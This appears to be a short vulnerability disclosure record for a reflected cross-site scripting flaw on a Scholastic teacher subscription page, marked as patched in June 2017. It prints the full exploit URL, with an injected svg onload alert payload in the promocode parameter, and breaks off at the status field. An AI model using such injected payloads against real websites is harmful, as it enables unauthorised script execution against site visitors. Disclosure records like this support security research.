teacher.scholastic.com XSS vulnerability

Vulnerable URL: http://teacher.scholastic.com/products/classmags/subscribesale.asp?promocode=6153%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 23.06.2017 Latest check for patch:| 23.06.2017 15:47 GMT Vulnerability type:| XSS Vulnerability status:|...